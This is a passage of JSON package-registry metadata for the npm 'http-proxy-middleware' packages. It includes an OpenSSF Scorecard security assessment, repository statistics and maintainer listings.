maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:194: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:195: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:106: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:134: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:140: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:166: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Info:   0 out of  21 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:6"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":1,"reason":"branch protection is not maximal on development and all release branches","details":["Warn: branch protection not enabled for branch '2.x'","Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Warn: 'last push approval' is disabled on branch 'master'","Info: status check found to merge onto on branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T14:57:40.637Z","repository_id":28698813,"created_at":"2025-08-17T14:57:40.637Z","updated_at":"2025-08-17T14:57:40.637Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34914647,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-29T02:00:05.398Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2026-07-10T21:24:07.180Z","dependent_packages_count":1,"downloads":75,"downloads_period":"last-month","dependent_repos_count":1,"rankings":{"downloads":34.94486345978555,"dependent_repos_count":10.769523647389562,"dependent_packages_count":21.318711782054763,"stargazers_count":1.044207976717299,"forks_count":1.3404459584921793,"docker_downloads_count":null,"average":13.883550564887873},"purl":"pkg:npm/%40gemini-testing/http-proxy-middleware","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/@gemini-testing/http-proxy-middleware","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/@gemini-testing/http-proxy-middleware","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/@gemini-testing/http-proxy-middleware/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-18T20:26:59.603Z","issues_count":141,"pull_requests_count":285,"avg_time_to_close_issue":13293581.985074626,"avg_time_to_close_pull_request":4164601.252,"issues_closed_count":67,"pull_requests_closed_count":250,"pull_request_authors_count":43,"issue_authors_count":134,"avg_comments_per_issue":4.6879432624113475,"avg_comments_per_pull_request":1.4456140350877194,"merged_pull_requests_count":204,"bot_issues_count":0,"bot_pull_requests_count":16,"past_year_issues_count":14,"past_year_pull_requests_count":43,"past_year_avg_time_to_close_issue":1199106.0,"past_year_avg_time_to_close_pull_request":238577.41666666666,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":36,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":13,"past_year_avg_comments_per_issue":1.3571428571428572,"past_year_avg_comments_per_pull_request":2.0697674418604652,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/issues","maintainers":[{"login":"chimurai","count":206,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}],"active_maintainers":[{"login":"chimurai","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@gemini-testing%2Fhttp-proxy-middleware/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@gemini-testing%2Fhttp-proxy-middleware/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@gemini-testing%2Fhttp-proxy-middleware/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@gemini-testing%2Fhttp-proxy-middleware/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@gemini-testing%2Fhttp-proxy-middleware/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@gemini-testing%2Fhttp-proxy-middleware/codemeta","maintainers":[{"uuid":"j0tunn","login":"j0tunn","name":null,"email":"j0tunn@ya.ru","url":null,"packages_count":56,"html_url":"https://www.npmjs.com/~j0tunn","role":null,"created_at":"2022-11-20T16:15:52.700Z","updated_at":"2022-11-20T16:15:52.700Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/j0tunn/packages"},{"uuid":"dudagod","login":"dudagod","name":null,"email":"dudkevich@yandex-team.ru","url":null,"packages_count":93,"html_url":"https://www.npmjs.com/~dudagod","role":null,"created_at":"2022-11-20T16:15:52.641Z","updated_at":"2022-11-20T16:15:52.641Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/dudagod/packages"},{"uuid":"sipayrt","login":"sipayrt","name":null,"email":"sipayrt@yandex.ru","url":null,"packages_count":94,"html_url":"https://www.npmjs.com/~sipayrt","role":null,"created_at":"2022-11-20T16:15:52.750Z","updated_at":"2022-11-20T16:15:52.750Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/sipayrt/packages"},{"uuid":"rostik404","login":"rostik404","name":null,"email":"shtanko243@gmail.com","url":null,"packages_count":42,"html_url":"https://www.npmjs.com/~rostik404","role":null,"created_at":"2022-11-20T16:15:52.774Z","updated_at":"2022-11-20T16:15:52.774Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/rostik404/packages"},{"uuid":"xrsd","login":"xrsd","name":null,"email":"rashid.online@ya.ru","url":null,"packages_count":36,"html_url":"https://www.npmjs.com/~xrsd","role":null,"created_at":"2022-11-20T16:15:52.570Z","updated_at":"2022-11-20T16:15:52.570Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/xrsd/packages"},{"uuid":"oldskytree","login":"oldskytree","name":null,"email":"ilyashassen@gmail.com","url":null,"packages_count":24,"html_url":"https://www.npmjs.com/~oldskytree","role":null,"created_at":"2022-11-20T16:15:52.551Z","updated_at":"2022-11-20T16:15:52.551Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/oldskytree/packages"},{"uuid":"kuznetsovroman","login":"kuznetsovroman","name":null,"email":"kuznetsov.roman.orenburg@gmail.com","url":null,"packages_count":73,"html_url":"https://www.npmjs.com/~kuznetsovroman","role":null,"created_at":"2022-11-20T16:15:52.594Z","updated_at":"2022-11-20T16:15:52.594Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/kuznetsovroman/packages"},{"uuid":"mcheshkov","login":"mcheshkov","name":null,"email":"mcheshkov@gmail.com","url":null,"packages_count":23,"html_url":"https://www.npmjs.com/~mcheshkov","role":null,"created_at":"2022-11-20T16:15:52.850Z","updated_at":"2022-11-20T16:15:52.850Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/mcheshkov/packages"},{"uuid":"miripiruni","login":"miripiruni","name":null,"email":"miripiruni@gmail.com","url":null,"packages_count":65,"html_url":"https://www.npmjs.com/~miripiruni","role":null,"created_at":"2022-11-20T16:15:52.834Z","updated_at":"2022-11-20T16:15:52.834Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/miripiruni/packages"},{"uuid":"gavryushin","login":"gavryushin","name":null,"email":"gavryushin@yandex-team.ru","url":null,"packages_count":17,"html_url":"https://www.npmjs.com/~gavryushin","role":null,"created_at":"2022-11-20T16:15:52.796Z","updated_at":"2022-11-20T16:15:52.796Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/gavryushin/packages"},{"uuid":"shadowusr","login":"shadowusr","name":null,"email":"nikhakerlab@mail.ru","url":null,"packages_count":59,"html_url":"https://www.npmjs.com/~shadowusr","role":null,"created_at":"2024-08-20T17:13:37.553Z","updated_at":"2024-08-20T17:13:37.553Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/shadowusr/packages"},{"uuid":"slontus","login":"slontus","name":null,"email":"tu144x@yandex.ru","url":null,"packages_count":19,"html_url":"https://www.npmjs.com/~slontus","role":null,"created_at":"2024-08-09T13:45:22.872Z","updated_at":"2024-08-09T13:45:22.872Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/slontus/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5666668,"maintainers_count":1207881,"namespaces_count":399623,"keywords_count":847874,"github":"npm","metadata":{"funded_packages_count":171745},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-06-10T05:11:46.456Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":1841856,"name":"http-proxy-middleware","ecosystem":"npm","description":"The one-liner node.js proxy middleware for connect, express, next.js and more","homepage":"https://github.com/chimurai/http-proxy-middleware#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","keywords_array":["browser-sync","connect","cors","express","fastify","grunt-contrib-connect","gulp","hono","http","https","middleware","next.js","polka","proxy","reverse","websocket","ws"],"namespace":null,"versions_count":108,"first_release_published_at":"2015-03-14T21:57:46.940Z","latest_release_published_at":"2026-07-04T21:49:09.221Z","latest_release_number":"4.2.0","last_synced_at":"2026-07-10T21:13:08.896Z","created_at":"2022-04-09T17:18:05.464Z","updated_at":"2026-07-11T08:12:09.029Z","registry_url":"https://www.npmjs.com/package/http-proxy-middleware","install_command":"npm install http-proxy-middleware","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"beta":"4.1.0-beta.2","v3-latest":"3.0.7","latest":"4.2.0","v2-beta":"2.0.10-beta.0","v2-latest":"2.0.10"}},"repo_metadata":{"id":28698813,"uuid":"32219142","full_name":"chimurai/http-proxy-middleware","owner":"chimurai","description":":zap: The one-liner node.js http-proxy middleware for connect, express, next.js and more","archived":false,"fork":false,"pushed_at":"2026-06-27T18:48:14.000Z","size":4416,"stargazers_count":11132,"open_issues_count":22,"forks_count":881,"subscribers_count":113,"default_branch":"master","last_synced_at":"2026-06-29T01:19:25.768Z","etag":null,"topics":["browser-sync","connect","express","fastify","hono","http-proxy","httpxy","javascript","middleware","nextjs","node","nodejs","polka","proxy","proxy-middleware","websocket"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/chimurai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2015-03-14T15:45:55.000Z","updated_at":"2026-06-27T18:48:18.000Z","dependencies_parsed_at":"2024-01-29T07:26:28.290Z","dependency_job_id":"c2a3f314-ac82-4c44-9219-3b82cbfa0f8e","html_url":"https://github.com/chimurai/http-proxy-middleware","commit_stats":{"total_commits":439,"total_committers":40,"mean_commits":10.975,"dds":0.4829157175398633,"last_synced_commit":"77f320e4dca8247167471393dcbce2b1e333b7cf"},"previous_names":[],"tags_count":87,"template":false,"template_full_name":null,"purl":"pkg:github/chimurai/http-proxy-middleware","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/sbom","scorecard":{"id":277788,"data":{"date":"2025-08-11","repo":{"name":"github.com/chimurai/http-proxy-middleware","commit":"e7ae0098ebdbbdf77c0c23e84d2208cb7fc35cea"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/publish.yml:11","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":6,"reason":"8 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:194: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:195: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:106: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:134: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:140: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:166: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Info:   0 out of  21 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:6"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":1,"reason":"branch protection is not maximal on development and all release branches","details":["Warn: branch protection not enabled for branch '2.x'","Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Info: 'branch protection settings apply to administrators' is required to merge 